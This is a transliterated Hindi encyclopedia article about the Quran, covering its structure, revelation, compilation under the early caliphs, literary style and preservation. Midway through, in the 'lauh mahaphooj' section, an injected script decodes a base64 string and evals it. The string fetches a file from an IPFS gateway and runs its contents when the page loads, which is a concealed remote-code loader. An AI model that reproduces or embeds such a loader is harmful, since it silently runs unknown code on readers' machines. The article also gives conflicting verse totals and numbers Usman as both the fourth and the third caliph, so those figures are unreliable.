क़ुरआन

thumb|250px|quran sharif quran ya quran (arabi: القرآن, al-qurh'an) islam dharm ki pavitratam pustak hai aur islam ki nianv hai. musalaman manate haian ki ise parameshvar (allah) ne devadoot (farishte) jibrael dvara hazarat muhammad ko sunaya tha. musalamanoan ka manana hai ki quran hi allah ki bheji antim aur sarvochch pustak hai. quran shabd ka pratham ullekh svayan quran mean hi milata hai, jahaan isaka arth hai - usane padha, ya usane uchchara. yah shabd isake siriyaee samanaantar kuriyana ka arth leta hai jisaka arth hota hai granthoan ko padhana. halaanki pashchaty janakar isako siriyaee shabd se jo date haian, adhikaansh musalamanoan ka manana hai ki isaka mool qura shabd hi hai. par chahe jo ho muhammad sahab ke janmadin ke samay hi yah ek arabi shabd ban gaya tha. muslim samaj ke liye avashyak bidat mean quran ki sahi samajh-boojh, hadis (paigambar muhammd ki dikshaoan ya paranparaoan) ke moolyaankan aur unaki vaidhata tay karane, vidharmata ka khandan karane aur qanoon ke sanhitakaran ke liye arabi vyakaran aur bhashashastr (fard kifaya) ka adhyayan zaroori hai.

adhyay

• islam dharm ki pavitr pustak ka nam quran hai jisaka hindi mean arth 'sasvar path' hai. quran sharif 22 sal 5 mah aur 14 din ke arse mean zaroorat ke mutabiq़ kistoan mean nazil hua. quran sharif mean 30 pare, 114 sooratean aur 540 rukooa haian. quran sharif ki kul ayat ki tadad 6666 (chhah hazar chhah sau chhiyasath) hai.
• quran mean kul 114 adhyay haian jinhean soora kahate haian. bahuvachan mean inhean soorat kahate haian. yani 15vean adhyay ko soorat 15 kaheange. har adhyay mean kuchh shlok haian jinhean ayat kahate haian. ‎quran ki 6,666 ayatoan mean se (kuchh ke anusar 6,238) abhi tak 1,000 ayatean vaijnanik tathyoan par bahas karati haian.
• quran mean kul 6,233 ayatean (vaky) haian. arabi varnamala ke kul 30 akshar 3,81,278 bar ae haian. zer (i ki matraean) 39,582 bar, zabar (a ki matraean) 53,242 bar, pesh (u ki matraean) 8,804 bar, mad (dohare, tihare 'a' ki matraean) 1771 bar, tashadid (dohare akshar ke pratik) 1252 bar aur nuqte (bindu) 1,05,684 haian. isake 114 mean se 113 adhyayoan ka aranbh bismillahirrahamanirrahim se hua hai, arthath "shuroo ati kripashil, ati dayavan allah ke nam se." pathan-pathan aur kanthasth mean asani ke lie poore granth ko 30 bhagoan mean baant kar har bhag ka namaankaran kar diya gaya hai. har bhag 'para' (Part) kahalata hai.

lauh mahaphooj mean quran

chitr:Blockquote-open.gif quran hakim 22 sal 5 mah aur 14 din ke arse mean zaroorat ke mutabiq़ kistoan mean nazil hua. kuran majid mean 30 pare, 114 sooratean aur 540 rukooa haian. quran majid ki kul ayat ki tadad 6666 (chhah hazar chhah sau chhiyasath) hai. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> quran ke vishay mean usake anuyayiyoan ka vishvas hai aur svayan quran mean bhi likha hai- sachamuch poojy quran adrisht pustak mean (vartaman) hai. jab tak shuddh n ho, use mat chhuo. vah lok-paralok ke svami ke pas utara hai. adrisht pustak se yahaan abhipray us svargiy lekh-patitka se hai jise islami paribhasha mean 'lauh-mahaphooj' kahate haian. srishtikarta ne adi se usamean trikalavritti likh rakkha hai, jaisa ki sthanantar mean kaha hai-

hamane arabi quran racha ki tumako jnan ho. nissandeh vah uttam jnan-bhandar hamare pas pustakoan ki mata (lauh mahaphooj) mean likha hai.

jagadishvar ne quran mean varnit jnan ko jagath ke hit ke lie apane prerit ke hriday mean prakashit kiya, yahi is sabaka bhavarth hai. apane dharm ki shiksha dene vale granth par asadharan shraddha hona manushy ka svabhav hai. yahi karan hai ki quran ke mahatmy ke vishay mean anek kathaean janasamuday mean prachalit haian, yadyapi un sabaka adhar shraddha chho d kar quran mean dhooandhana yukt nahian hai, kintu aise vakyoan ka usamean sarvatha abhav hai, yah bhi nahian kaha ja sakata. ek sthal par kaha hai-

yadi ham is quran ko kisi parvat (va parvat-sadrish kathor hriday) par utarate, to avashy too use parameshvar ke bhay se daba aur phata dekhata. in drishtantoan ko manushyoan ke lie ham varnit karate hai jisase ki vah sochean.

lekhan

hazarat muhammad (sall.) svayan padhe-likhe n the. quran ka jo bhi aansh avatarit hota vah vishesh eeshvariy pravadhan se muhammad ko kanthasth (yad) ho jata muhammad turant ya shighratashighr apane sathiyoan ko bol kar use likhava dete. itihas mean pramanit taur par aise likhane valoan (vahy-lipikoan) ki sankhya 41 ullikhit hai. un sab ke nam, pita ke nam, qabile (vansh, kul) ke nam bhi itihas ke rikard par haian.

quran ka prayojan, varnan-shaili

'kadachit tumako jnan ho. isalie us (muhammad) par hamane arabi quran utara!'

'mangal sandeshaprad, bhayadayak, vah granth-arabi quran-param kripalu dayamay ki or se utara hai. isamean us (prabhu) ka lakshan varnit hai jisamean ki jatiyaan use janean'

'he muhammad ! is prakar hamane arabi quran tere hridayasth kiya, too usase gramoan ki janani (makka) aur usake asapas ko ikattha hone ke din (pralay) se daravai.'

'he muhammad ! is prakar hamane us arabi hukm (quran) ko utara. jo kuchh tere pas (us) jnan mean se aya, yadi use chho d toone un (logoan) ki ichchha ka anusaran kiya, to mahaprabhu ki or se tere lie sahayak aur rakshak (koee) nahian.'

uparyukt quran se uddhrit in vakyoan mean 'quran' yah nam, usaki bhasha aur pratipady vishay batalaya gaya hai. quran kya hai? eeshvar-pradatt ek arabi granthh. usake pradan ka prayojan kya? yahi ki sanmarg-bhrasht janoan ko bhay dikha aur shraddhaluoan ko unake puny karyoan ke mangalamay parinam ka sandesh de satpath par aroodh kiya jay. mahanubhav muhammad ke samay ka 'arab' kahaan tak sanmarg-vyut ho gaya tha? us samay ka vyavahar kahaan tak duracharapoorn ho gaya tha? ajnan kahaan tak apani parakashtha ko pahuanch chuka tha? ityadi batoan ka parichay kuchh to pratham vindu se mil chuka hai aur kuchh ka varnn age bhi yathasthan hoga. un ajnanatamonimagn, sadachar-sanjnahin, krurakarma arab-nivasiyoan ko sachche raste par le chalane ke do hi upay the. ek to yah tha ki unako papoan ka dushparinam samajhakar unhean achchhe kamoan ki or prerit kiya jay.

kitani hi bar anek pralobhan satpurushoan ko bhi sanmarg-bhrasht karane mean saphal hote haian. sarvapriy banane ki ichchha bahudha amadhur saty prakashit karane ki ajna nahian deti. isilie oopar sanket kiya gaya hai ki logoan ki ichchha ka anusaran karane vala kabhi eeshvar ki raksha aur sahayata ka bhajan nahian ho sakata. sachamuch sansar mean samalochan aur sanshodhan ka kam bahut kathin hai. nana chhal-pakhandayukt sansar ke dushkrityoan ki yadi nirbhikatapoorvak samalochana ki jati hai to ek bar janasamudr apane nissimadhikar tatha chirasthapit niti ke tarangoan ka gatyavarodh dekh, apani sampoorn shakti ko usake pratikar mean lie prastut ho jata hai. b di-b di tarango ki to bat hi alag hai, kshudr budbud-samuday bhi abhimatt ho apane svaroop ka vichar n kar us samay usake sir par padaprahar karane ka udyog bhi arambh kar deta hai. kintu nishchal-niti, satyamanask, sudharak-

nindantu nitinipuna yadi va strivantu.
lakshmi samavishatu gachchhatu va yatheshtamh॥
adyaiv maranamastu yugantare va.
nyayatpathah pravichalanti padan n dhiraah॥1॥

bhartrihari ke is vakyanusar apana sarvasv svah karane ke lie us pralay-kolahalapoorn, sankruddh jan-sindhu ki kuchh bhi paravah n kar, sumeruvath apane sthan par sthit rahata hai. usaka sadupadesh arany-rodan-sa pratit hota hai athava gambhir bherinad ke samane kshin vinasvar. sahayakoan aur sanrakshakoan ke bina akela, apane bhishan virodhiyoan ka samukhy, vah us nirashapoorn andhanisha mean karata hai jab use kshanamatr ke lie bhi asharoopi taroan ki timatimahat bhi nahian dikh p dati. sudharak muhammad ka jivan bhi aisi hi ghatanaoan se poorn hai.

oopar ke vakyoan mean quran ka arabi mean utarana bhi aya hai. makka aur usake asapas ke lie tabhi quran ki upayogita hai jab ki vah vahaan ki bhasha mean ho. doosari jagah kaha bhi hai-

"yadi ham arabi se bhinn bhasha mean quran banate, to avashy (log) kahane lagate- 'usake taantpary kyoan nahian spasht kiye gaye. kya ! arab ka adami aur arab ki bhasha se bhinn bhasha?' yah vishvadiyoan ke lie margadarshak aur svasthaprad hai."

anuprasabaddh-varnan

yuddhapriy arab ke logoan mean us samay kavita ke lie b da prem tha. vahaan kitane hi aise kavi hue hai jinaki kavitaean yuddhagni bh dakane mean ghi ka kam deti thian. isake lie is vishay ke vishesh jijnasuoan ko shraddhey naheshaprasad sadh virachit prasiddh hindi-granth 'arab kavy' padhana chahie. sundar bhasha aur svasthy-labh ke lie makka nagar ke pratishthit gharanoan se do-do, tin-tin varsh ke bachche asthir-vas baddoo araboan ke deroan mean palate the. svayan mananiy muhammad ka shaishav bhi isi praka vyatit hua tha.

isase bhi unaki bhasha atyant parimarjit aur sundar thi. quran 'ath' se 'iti' tak anuprasabaddh likha gaya hai; jaise-

kulh huballahu ahadh. allahussamadh.
lamh yalidh v lamh yooladh. v lamh yakunh kuphuvanh ahadh॥

kah, vah parameshvar ek, sarvadhar (hai). (vah) n utpann karata, n utpann hua hai aur n koee usake saman (hai).

kramashah utarana

musalamani vichar ke anusar bhi sampoorn quran mahanubhav muhammad ko ek hi bar hridayasth nahian hua. quran mean bhi aya hai-

'jab tak ki us (quran) ka utarana poora n ho jay, usaki prapti mean shighrata n kar.'

sarvapratham 'hira' ki gufa 'iqa bi ismi rabbikh' (apane eeshvar ke nam se padh) yah vaky mahatma muhammad ke hriday mean prakashit hua. yah samay prayah vikram sanvath 667 ka hoga. us samay vah chalis varsh ke ho chuke the. prayah prati varsh ekant chintanarth uparyukt sathan par unaka jana hota tha. isi eeshvariy jnan ke hridayasth hone ko 'vahi' ka utarana kahate haian. 'vahi' ke utarane ke vishay mean bhi bhinn-bhinn vichar haian. isake vishay mean sarvamany hone se quran ke hi kuchh aansh yahaan uddhrit kiye jate haian.

"avashy yah (quran) jagadish ne utara hai aur usake sath ek apt (devadoot) utara."

yah apt doot aur koee svayan devendr jibraeel the jo hazarat ke pas 'vahi' late the. devadootoan ya farishtoan ke bare mean anek kathaean islami sahity mean payi jati hai. jaise vrihadakar anek shrriangadi sanyukt hona ityadi, kintu quran mean aisa varnan kahian aya hai. quran ke utarane hi ke karan 'ramazan' ka mahina bahut pavitr mana gaya hai.

ramazan mean utarata vibhag

"pavitr ramazan ka mahina jisamean marg-pradarshak, manv-shikshak (satyasaty), vibhajak, spasht quran utara gaya. atah tumamean se jo koee 'ramazan' mahine ko pave, upavas rakhe aur yadi rogi yatra mean ho, to doosare dinoan mean."

'ramazan' arab ka navaan mahina hai. shabdarth 'jisamean garmi ki adhikata ho' athava 'garmi ki adhikata se yukt' hai. jis ratri mean 'vahi' pratham-pratham utari, vah 'ramazan' ke antim das dinoan mean anyatam 'lailatulqadr' athava maharatri ke nam se vikhyat hai. vah ratri aur mas donoan hi- jinamean pavitr quran utara islam dharm mean bahut pavitr mane jate hai. 'qad' ke nam se quran mean ek adhyay (soorat) bhi hai.

quran –sangrah

yah pahale kaha ja chuka hai ki sampoorn quran ek sath nahian utara. hazarat ki avastha ke chalisavean varsh se lekar 63vean varsh (mrityu ke samay) tak-arthath 23 varshoan mean tho da-tho da karake utara hai; atah arambh hi mean quran ka pustakaroopen sangathit hona sambhav nahian. vaky aur adhyay bhi apane utarane ke samay ke kram se vartaman pustak quran mean sthapit nahian kiye gaye hai. 'quran' ke kitane hi vaky makka mean aur kitane hi madina mean utare haian, jisase quran ke 114 adhyay 'makki'-'madani' do bhedoan mean vibhakt hai. quran ke dekhane se maloom hota hai ki usamean is bhed par bhi dhyan nahian diya gaya hai. haan, pahale adhyayoan ki apeksha pichhale adhyay prayah chhote haih. pratham adhyay 'fatiha' ke anantar doosara adhyay 'albakra' ya bakra (bakr, bakrat) hai jo 'madina' mean utara. usake bad ka 'al imran' bhi madani hai. astu, yah nishchit hai ki mahatma ke jivan mean quran vartaman pustak-kram mean sampadit nahian hua tha. quran mean aya 'kitab' shabd bhi usake vartaman pustak ki or sanket nahian karata, balki usake us roop ki or sanket karata hai jo ki svargiy pustak 'lauh mahaphooj' mean surakshit hai. mahatma ke jivan-kal se hi usake ek-ek vaky ko b di savadhanata se resham, charm aur asthiyoan par likhakar rakkha jata tha. kitane hi bhaktajan unhean kanthasth bhi kar liya karate the. is prakar quran ke sampoorn aansh bhali prakar surakshit rakkhe gaye the. pichhe jab pathoan aur vakyoan mean bhed hone laga, to chaturth khalifa 'usman' ko ek pustak ke roop mean sabako sangrah karane ki avashyakata p di. is sangrah ki pramanikata ke vishay mean bahut matabhed hai. us samay 'khalifa' ya uttaradhikari hone ke lie mahatma ke anuyayiyoan mean vivad uth kh da hua jo badhate-badhate grihayuddh ki agni ko prajjvalit karane mean samarth hua aur mahatma ki priy putri 'fatima' tatha jamata viravar 'ali' ke putr, 'hasan' aur 'husen' jisaki ahuti hue. yah vivad deh-sambandhiyoan aur dharm-sambandhiyoan mean uttaradhikari (khalifa) hone ke vishay me tha. deh-sambandhiyoan ke uttaradhikar ko yukt manane vale hi 'shiya' log hai aur doosare (bahusankhyak) 'sunni' ke nam se pukare jate hai. mahatma ke koee jivit putr n tha. putriyoan mean shrimati fatima ke yahi do putr 'hasan' aur 'husen' the. ve kuchh musalamanoan ki svarthasiddhi mean badhak jan p date the aur unhoanne unhean bari-bari se talavar ke ghat utar chhutti payi. vartaman pustak ke roop mean quran ka sangrah khalifa 'usman' ne karaya tha. yahi 'sunniyoan' ke mukhiya the. 'shiya' logoan ka kahana hai ki is pustak mean quran ke kitane hi vaky aur kitane hi adhyay bhi chho d diye gaye haian. udaharanarth vah 'sijda' adhyay ke kitane hi vaky upasthit karate hai. prachin bhashyakaroan ne bhi unamean se kitane hi ko jahaan-tahaan uddhrit kiya hai. patana ki 'khudabaks laibreri' mean hastalikhit quran ki ek prachin prati hai, jisake ant mean bhi aise anek vakyoan ka sangrah hai. vartaman 'quran' 30 'siparoan ya khandoan mean vibhakt hai, kitanoan hi ka kahana hai ki pahale inaki sankhya chalis thi.

vaky-parivartan

adhyay 'albakr' mean aya hai-

"jin 'ayatoan (vakyoan) ko ham sthanantarik ya parivartit karate hai, usake saman ya usase achchhi late haian. kya too nahian janata ki parameshvar sab chijoan par shaktimanh hai."

"jab ham 'ayat' ke sthan par doosari ayat badalate haian aur parameshvar jo kuchh badalata hai, use bhali prakar janata hai."

quran ne kitane hi vaky jo pahale mananiy thaharaye gaye the, pichhe unhean chho d kar doosari ajnaean ayian. isi bat ka uparyukt vakyoan mean varnan hai. isaka tatpary eeshvar ki ajna ke desh-kal ke anusar hone se hai. samayantar mean 'moosa' , 'eesa' ko diye gaye eeshvariy jnan ke bhi kuchh aansh anupayukt ho gaye, jis par anek pichhe doosare eeshvaradootoan ko eeshvar ka sandesh lane ki avashyakata p di. usi prakar mahatma muhammad ke pas bheje gaye kitane hi aansh pichhe upayogi n rahe, isalie eeshvar ne unhean badal diya.

manushy ki pahale ek jati thi

'us (eeshvar) ne adam ko sampoorn jnan sikhaya'.

'sab jatiyoan ke lie eeshvar-prerit (bheje gaye).'

'kanannasu ummatinh vahidatinh' (sare manushy ek jati the).

inamean ek tatv par prakash dala gaya hai ki pahale manushy ki ek hi jati thi aur unaki shiksha ke lie sabake pitamah 'adam' (adim-poorvaj) ko eeshvar ne jnanopadesh diya. pichhe jab jatiyoan mean vibhakt ho gaye, to unake upadesh ke lie eeshvar ne pratyek jati mean ek-ek eeshvarak shikshak niyukat kiye. yah bhi isalie ki unhoanne us prachin jnan ko bhula ya adal-badal diya tha.

prachin shastroan ka samarthak

he muhammad, tujh par saty-sanyukt granth utara jo poorvatanoan ka samartnak hai.'

'kah, jo kuchh ham par ibrahim, ismaeel, ishaq, yaqoob, jati (israil-santati), moosa, eesha aur doosare rrishiyoan par parameshvar ki or se utara. ham unamean se kisi ko alag nahian karate. ham sab par aur parameshvar par vishvas rakhate hai.'

ye vaky pratyek musalaman ko is bat ki shiksha dete hai ki vah bhoomandal ke sare rrishiyoan ki shiksha par vishvas aur adar-buddhi rakkhe. prayah sare hi mahapurushoan aur dharmachayoan ko yah kahate hue suna jata hai ki vah kisi nootan siddhant ka prachar nahian kar rahe haian, balki vah usi sanatan tatv ka prachar kar rahe hai jo kalantar mean vismrit ho gaya tha.

yahaan quran ki varnan-shaili ke vishay mean kuchh likhana aprasangik n hoga. gady hone par bhi usaki rachana b di chittakarshak hai, yah pahale likh aye haian. prachin mahatmaoan aur rajaoan ke upadeshaprad itihas quran ka ek vishesh bhag grahan karate haian. isake atirikt chhote-chhote drishtantoan aur sundar kahavatoan ka bhi prayog jahaan-tahaan kiya gaya hai.

'ham tujhse bahut achchhi katha bayan karate haian. too (muhammad) ajnaniyoan mean se tha, isaliye tere pas yah quran bheja.'

kahian-kahian nastikoan (=kafiroan) aur doosaroan ke akshepoan ka uttar bhi diya gaya hai-

kafir kahate hai ki, yadi vah (musalaman) hamari bat manate to n mare jate. kah, yadi tum sachche ho to maut ko apane oopar se hata dena.

islam-virodhiyoan ke vidvesh ke vishay mean kaha hai.

eeshvar-satta-varnan

"chahate haian ki eeshvar ki jyoti ko muanh se (fooankakar) bujha dean, kintu prabhu prakash ko poorn kiye bina nahian rah sakata, chahe nastik (kafir) bura mane."

eeshvar ke achinty nirman-kaushal ko in shabdoan mean varnan kiya gaya hai-

"unake lie too ek saansarik drishtant varnan kar. hamane akash se jal utara, phir usase bhoomi par vanaspati ugi. punah vah kanashah ho gee (aur) use vayu u data (phirata) hai. parameshvar sab chijoan par shaktimanh hai."

eeshvar ki satta ke bare mean aya hai-

"parameshvar akash aur prithvi ka prakash hai. usaka prakash hai mano tak mean dipak aur dipak kaanch mean. kaanch tara ke saman hai. usamean apaurvaty apashchaty 'jaitoon' vriksh ka tel p da hai. yadyapi use ag ne chhua nahian hai, kintu samip hai ki usaka tel prajjvalit ho jaya. prakash ke oopar prakash!! parameshvar apane prakash se chahe jisako shiksha de. eeshvar manushyoan ke lie drishtant varnan karata hai. vah sab vastuoan ka jnata hai."

kahavatean

vistar-bhay se adhik n likhakar yahaan do-char kahavatean uddhrit ki jati haian-

'kachana hatya se badhakar hai.'
'sare prani mrityu ke asvad (ya gras) haian…..'
'sansar ka jivan vyarth abhiman ke atirikt kuchh nahian.'
'manushy nirbal utpann kiya gaya hai.'
'la alarrasooli illalh balag {pahuancha dene ke siva doot par (aur kuchh kartavy) nahian.'}
"manushy sachamuch hriday ka kachcha banaya gaya hai."

quran ki manohar rachana, sundar shabd-vyavahar ke karan ek kahavat prasiddh hai jise svayan quran ne is prakar varnan kiya hai-

'kya kahate haian? bana laya. kah, usake sadrish koee soorat (adhyay tum bhi bana) lao. (isake lie) parameshvar ke sivay jisako (sahayatarth) bula sako, bulao, yadi tum sachche ho.'

mahatma muhammad ke yah kahane par, ki maian jo kuchh quran ke vaky sunata hooan, sab bhagavanh ne mere pas bheje haian. log kahate the ki yah jhootha hai. muhammad svayan in batoan ko bana leta hai aur pichhe eeshvar ko unaka banane vala kahata hai. isi bat ki or yahaan sanket kiya hai. yah vaky quran mean anek bar aya hai. isi vishay par aur bhi kaha hai. purane vakyoan ki pramanikata

'yadi manushy aur jinn ekatr hoan, ek-doosare ke sahayak hokar bhi is quran aisa (granth) banana chahean, to (bhi) nahian (bana) la sakate.'

yah bhi ek se adhik bar aya hai-

uparyukt vakyoan se pathakoan ko age b di sahayata milegi. quran ke sare madhyam purush ke ekavachan mean prayukt hone vale vaky adhikatar svayan mahatma muhammad aur bahuvachan mean musalamanoan ya nastikoan ko sambodhit karake kahe gaye hai. ek bat aur smaran rakhani chahiy ki quran ki pathan-pathan-pranali avichchhinn rup se aj tak chali ayi hai. samay ke parivartan, rajy-kranti aur vijetaoan ki dharmandhata jis prakar hinduoan aur yahoodiyoan ke dharmik sahity ke adhikaansh ko vinash karane mean saphal huee, vaisa musalamanoan ke sahity ke sath nahian hua. isilie quran ke yatharth arth ko samajhane ke lie paramparagat bhashy, kathanak aur shabd-rahasy ki anivary avashyakata hai. quran ka pratyek vaky kisi-n-kisi vishesh desh, kal aur vyakti se sanbandh rakhata hai ; jaise ki age dekhane se jnat hoga. us sambandh ko janane ke lie yahi parampara ek matr sadhan hai; isalie parampara ko chho dakar managadhant arth karane vali anek kal ki tikaean mananiy nahian kahi ja sakatian.

quran aur usake sam-samayik

makka-nivasiyoan mean apane dharm ki shiksha ka prachan karate samay 'kaba' ke pujari 'kuraish' mahatma muhammad ko bhaanti-bhaanti ke kasht dene lage. jab chacha ke marane par unaki shatruta bahut badh gee aur ant mean vah log pran lene par utaroo ho gaye, to mahatma ne bhag kar 'madina' ko apana nivas-sthan banaya. isi pravas ki tithi se musalamanoan ka 'hizi' samvath prarambh hota hai. quran mean inhian moorti-poojakoan ko 'kafir' ya nastik ke nam se pukara gaya hai. us samay 'madina' mean yahudi log bhi paryapt sankhya mean nivas karate the aur vyavahar mean chatur hone se vah b de prabhavashali tatha dhanadhy ho gaye the. kahian-kahian eesaee logoan ki bhi basti thi. is prakar mahatma ko in dharmanuyayiyoan ke sansarg ka bhi vahaan vishesh avasar mila. in dharmanuyayiyoan ka varnan quran mean bhi ata hai. inake atirikt unhean kuchh aise logoan ki sangati bhi pahale hi se prapt thi jo moorti-poojakoan ke ghar utpann hokar bhi moortipooja mean shraddha rakhane vale n the aur n yah yahoodi ya khisht dharm hi ke anuyayi the. in logoan mean 'saada'-putr qais, 'hazash'-putr 'abdullah', 'havaris'-putr 'usman' aur 'amroo'-putr 'jaid' prasiddh haian. yah log yadyapi quran ki shiksha ko achchha manate, parantu svayan islam dharm ke anuyayi n hue. mahatma muhammd ke sale shri 'khadiza' ke bhaee 'naufal'-putr 'bark' ki bhi islam ke prati sahanubhooti thi.

sanrakshan

quran ko chooanki rahati duniya tak ke lie, samast sansar mean manav-jati ka margadarshan karana tha aur is bat ko bhi nishchit banana tha ki eesh-vani poori ki poori surakshit ho jae, ek shabd bhi n kam ho n zyada, isamean kisi manav-vani ki milavat, koee bahy hastakshep, sanshodhan-parivartan hona sanbhav n rah jae isalie eeshvariy star par tatha manaviy star par isake kee vishesh prayojan kie ge:-

1. chooanki isase pahale ke eeshagranthoan mean manaviy hastakshep se bahut kuchh kami-beshi ho chuki thi isalie quran ke sanrakshan ki zimmedari svayan eeshvar ne apane oopar le li. khud quran mean ullikhit hai- hamane ise avatarit kiya aur ham hi isaki hifazat kareange. eeshvar ne isake lie nimnalikhit pravadhan kie—
2. prathamik star par eeshvar ne paigambar ko poora granth kanthasth kara diya, quran mean isaki pushti bhi kar di
3. paigambar (sall.) ke kee sathiyoan ne quran ko poorn shuddhata ke sath kanthasth (hifz) kar liya.
4. paigambar (sall.) ke jivan-kal mean hi quran ka sankalan-kary poora kar liya gaya.
5. paigambar (sall.) ke dehavasan (632 ee.) ke bad do uttaradhikariyoan (khalifaoan hazarat aboobakr (razi.) aur hazarat umar (razi.) ke shasan-kal (632-644 ee.) mean unaki vyaktigat nigarani mean sare lipikoan ki likhit samagri ko ek-doosare se jaanch kar tatha granth ke kanthasthakaroan se punah-punah jaanch kar, paigambar (sall.) ke nirdeshit kram mean pustak-roop mean le aya gaya. phir tisare khalifa hazarat usman (razi.) ke shasanakal (644-656 ee.) mean is granth ki sat pratiyaan taiyar ki geean. ek-ek prati islami rajy ke vibhinn bhagoan (yaman, siriya, filistin, arameniya, misr, iraq aur eeran) mean sarakari prati ke taur bhi bhej di gee. unamean se kuchh mool-pratiyaan aj bhi tashakand, istanbool adi ke sangrahalayoan mean maujood haian.
6. eeshvar ne eeshadoot hazarat muhammad (sall.) ko adesh dekar chaibis ghantoan mean pratidin paanch bar ki anivary namazoan mean quran ke kuchh aansh padhana anivary kar diya. isake alava svaichchhik namazoan mean bhi ise anivary kiya gaya. ramazan ke mahine mean rat ki namaz (taravih) mean poora quran padhe jane aur sune jane ko 'mahapuny' kahakar poore vishv mean prachalit kiya gaya. poore quran ko (ya kuchh adhyayoan ko) kanthasth karana 'mahan puny kary' kaha gaya, aur lakhoan-karo doan logoan ne poorn granth ko, tatha sansar ke sabhi musalamanoan ne granth ke kuchh adhyayoan ko kanthasth kar liya. (yah kram 1400 varsh se jari hai, bhavishy mean bhi jari rahega). is prakar quran apane moolaroop mean (poori shuddhata, poornata v vishvasaniyata ke sath) surakshit ho gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• quran ka saral hinh‍di anuvad
• Al-Fatiha (al-fatiha)
• quran (tinoan bhashaoan mean
• pavitr quran

sanbandhit lekh

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